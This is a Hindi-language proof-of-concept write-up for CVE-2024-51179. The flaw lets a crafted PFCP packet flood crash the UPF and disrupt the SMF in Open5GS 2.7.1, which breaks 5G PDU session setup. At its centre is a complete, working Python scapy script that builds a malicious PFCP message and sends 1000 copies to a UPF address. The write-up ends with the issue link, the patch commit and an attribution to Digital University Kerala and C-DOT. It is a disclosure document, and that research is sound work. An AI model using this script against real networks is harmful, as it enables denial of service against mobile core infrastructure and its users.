
CVE-2024-51179 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: तैयार किए गए PFCP पैकेट फ्लडिंग के कारण Open5GS UPF/SMF में सेवा अस्वीकार (denial of service) होता है, जो 5G कोर PDU सत्र स्थापना को बाधित करता है।
विवरण: Open 5GS v.2.7.1 में एक समस्या एक दूरस्थ हमलावर को नेटवर्क फंक्शन वर्चुअलाइज़ेशन (NFVs) जैसे कि User Plane Function (UPF) और Session Management Function (SMF) के माध्यम से सेवा अस्वीकार करने की अनुमति देती है। Packet Data Unit (PDU) सत्र स्थापना प्रक्रिया NFVs के भीतर होने वाले क्रैश से प्रभावित होती है।
एक हमलावर, User Plane Function (UPF) का IP पता, PFCP पोर्ट, और SEID (Session Endpoint Identifier) प्राप्त करने के बाद, UPF को दुर्भावनापूर्ण PFCP (Packet Forwarding Control Protocol) पैकेट तैयार और फ्लड कर सकता है। यदि हमलावर के पास उपयोगकर्ता प्लेन ट्रैफिक तक पहुंच है, तो Wireshark जैसे टूल का उपयोग करके आवश्यक पैरामीटर इंटरसेप्ट किए जा सकते हैं।
भेद्यता का प्रकार: सेवा अस्वीकार (Denial Of Service)
प्रभाव: दुर्भावनापूर्ण पैकेट भेजने पर, UPF त्रुटिपूर्ण हो जाता है, जिससे नए PDU सत्रों की स्थापना प्रभावित होती है। इसके अतिरिक्त, SMF (Session Management Function) दुर्भावनापूर्ण PFCP पैकेटों की बाढ़ के कारण प्रभावित होता है, जिससे कोर फंक्शन बाधित होते हैं।
पूर्व शर्तें: 5G कोर नेटवर्क को Open5GS का उपयोग करके कोर नेटवर्क के रूप में और UERANSIM का उपयोग करके gNB (Next Generation NodeB) और UE (User Equipment) के लिए एमुलेशन टूल के रूप में स्थापित किया गया था।
हमला करने के चरण
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


यह भेद्यता, Open5GS GitHub पृष्ठ पर Issue #3497 के रूप में दर्ज है (https://github.com/open5gs/open5gs/issues/3497), Open5GS विक्रेता को रिपोर्ट की गई थी, जिन्होंने मूल कारण को मेमोरी डीलोकेशन समस्या के रूप में पहचाना जो सिस्टम क्रैश का कारण बनती है। तब से एक पैच लागू किया गया है, और समस्या को हल करने के लिए कोड को अपडेट किया गया है। आप अपडेट किए गए कोड की समीक्षा यहां कर सकते हैं।
https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd
CVE-2024-51179 प्रकाशित किया गया है।
डिजिटल यूनिवर्सिटी केरल, सेंटर फॉर डेवलपमेंट ऑफ टेलीमैटिक्स (C-DOT)